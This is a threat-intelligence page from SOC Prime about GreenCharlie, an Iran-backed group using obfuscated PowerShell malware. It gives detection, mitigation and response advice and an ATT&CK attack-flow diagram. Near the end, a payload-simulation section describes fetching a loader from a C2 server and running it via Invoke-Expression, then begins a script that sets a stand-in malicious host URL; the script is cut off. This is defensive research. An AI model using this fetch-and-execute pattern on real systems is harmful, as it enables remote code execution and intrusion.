SOC Prime Bias: Critical

12 Nov 2025 17:00
newspaper icon Picus Security

GreenCharlie: The SOC Report on PowerShell Exploits by Iran-backed APT

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
GreenCharlie: The SOC Report on PowerShell Exploits by Iran-backed APT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query


GreenCharlie PowerShell Exploit Summary

GreenCharlie is an Iran‑based APT group that conducts cyber‑espionage using a multi‑stage PowerShell malware family (GORBLE, TAMECAT, POWERSTAR). The group registers many dynamic DNS domains for phishing, uses obfuscated PowerShell scripts with custom Base64 and bitwise encoding, and communicates with C2 servers via HTTPS POST. Activity spiked in May‑August 2024 with Iranian IPs and VPN services masking traffic.

Investigation

Analyze network traffic for connections to known DDNS domains and IP ranges associated with the group (e.g., *.ddnsgeek.com, *.dns-dynamic.net). Look for PowerShell execution chains that perform Base64 decoding followed by bitwise NOT operations, and scripts that invoke ScriptBlock.Create or Invoke‑Expression. Monitor process injection and in‑memory execution of decrypted payloads. Correlate alerts with ATT&CK techniques T1583.001, T1566.002, T1059.001, T1568.

Mitigation

Implement strict PowerShell logging (ModuleLogging, ScriptBlockLogging) and enforce constrained language mode. Block or proxy traffic to known DDNS providers and suspicious TLDs (.info, .xyz, .icu, .network, .online, .site). Deploy DNS sandboxing and URL filtering for phishing domains. Use endpoint detection and response (EDR) solutions to detect obfuscated PowerShell scripts and in‑memory AES decryption. Enforce least‑privilege for service accounts and disable unnecessary remote execution tools.

Response to GreenCharlie Threat

When an indicator is detected, isolate the affected host, capture volatile memory, and collect PowerShell logs. Perform forensic analysis to extract the decoded payload and identify C2 servers. Revoke compromised credentials, rotate secrets, and remove related scheduled tasks or persistence mechanisms. Conduct threat‑intel sharing of IOCs (domains, IPs, hash values) with relevant ISACs and update detection rules accordingly.

“`mermaid graph TB %% Class Definitions classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef process fill:#ccffcc classDef data fill:#f0e68c %% Nodes start[“<b>Start</b>: Initial execution trigger”] class start action tech_execution[“<b>Technique</b> – T1059.001<br/><b>PowerShell</b>: Execute script to download payload”] class tech_execution technique process_download[“<b>Process</b>: Download second‑stage payload”] class process_download process tech_obf1[“<b>Technique</b> – T1027.008<br/>Stripped Payloads (Base64 + NOT)”] class tech_obf1 technique tech_obf2[“<b>Technique</b> – T1027.014<br/>Polymorphic Code (variant encoding)”] class tech_obf2 technique tech_decode[“<b>Technique</b> – T1140<br/>Decode/Deobfuscate payload”] class tech_decode technique tech_dns[“<b>Technique</b> – T1071.004<br/>DNS Application Layer Protocol”] class tech_dns technique tech_dga[“<b>Technique</b> – T1568.002<br/>Domain Generation Algorithm”] class tech_dga technique tech_web[“<b>Technique</b> – T1102.002<br/>HTTPS Bidirectional Web Service”] class tech_web technique tech_encrypt[“<b>Technique</b> – T1573<br/>AES Encrypted Channel”] class tech_encrypt technique data_exfil[“<b>Data</b>: System information (OS, computer name)”] class data_exfil data tech_exfil[“<b>Technique</b> – T1041<br/>Exfiltration Over C2 Channel”] class tech_exfil technique %% Connections start –>|triggers| tech_execution tech_execution –>|downloads| process_download process_download –>|obfuscates with| tech_obf1 process_download –>|applies| tech_obf2 process_download –>|decoded by| tech_decode tech_decode –>|communicates via| tech_dns tech_dns –>|uses| tech_dga tech_dns –>|communicates via| tech_web tech_web –>|encrypts traffic with| tech_encrypt tech_encrypt –>|carries| data_exfil data_exfil –>|sent via| tech_exfil “`

Attack Flow

Payload Simulation Instructions

  • Attack Narrative & Commands:

    Stage 1 – Retrieve the malicious loader:
    The attacker uses Invoke-WebRequest to download a PowerShell script named GORBLE.ps1 from a C2 server.Stage 2 – Encode the payload:
    The downloaded script contains the malicious payload. The attacker base64‑encodes the entire script and stores it in a variable $x.Stage 3 – Execute via high‑risk cmdlet:
    Using Invoke-Expression, the attacker decodes $x on‑the‑fly and runs it, thereby invoking the GORBLE framework.Stage 4 – Lateral movement (optional):
    The payload may later call ScriptBlock.Create with a bitwise‑NOT‑obfuscated string to launch a second‑stage PowerShell command on a remote host.

  • Regression Test Script:

    # -------------------------------------------------
# GreenCharlie APT PowerShell Framework Simulation
# -------------------------------------------------

# 1. Simulate download of the malicious framework (keyword GORBLE)
$maliciousUrl = "http://malicious.example.com/GORBLE.ps1"
$downloaded = @"
# GORBLE - simulated malicious payload

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free